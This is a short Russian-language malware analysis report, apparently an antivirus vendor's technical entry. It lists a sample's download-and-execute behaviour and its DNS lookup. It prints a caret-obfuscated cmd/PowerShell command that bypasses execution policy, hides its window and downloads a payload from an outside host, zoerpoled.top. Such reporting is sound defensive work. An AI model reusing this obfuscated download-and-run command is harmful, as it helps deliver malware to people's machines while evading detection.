Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://www.zoerpoled.top/read.php?f=1.gif как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "p^OW^erSH^eLl.e^xE -E^XEc^Ut^IO^NpOLICY^ byPaS^s -noPr^ofilE^ -wInD^Owsty^L^e hI^D^DeN (^NEw^-O^BjeCT^ sy^S^tEm^.^n^e^t.w^Eb^Cl^iE^n^T).doWN^LoA^D^Fil^e('http://www.zoerpoled.top/...
Сетевая активность
UDP
- DNS ASK zo###oled.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "p^OW^erSH^eLl.e^xE -E^XEc^Ut^IO^NpOLICY^ byPaS^s -noPr^ofilE^ -wInD^Owsty^L^e hI^D^DeN (^NEw^-O^BjeCT^ sy^S^tEm^.^n^e^t.w^Eb^Cl^iE^n^T).doWN^LoA^D^Fil^e('http://www.zoerpoled.top/...' (со скрытым окном)
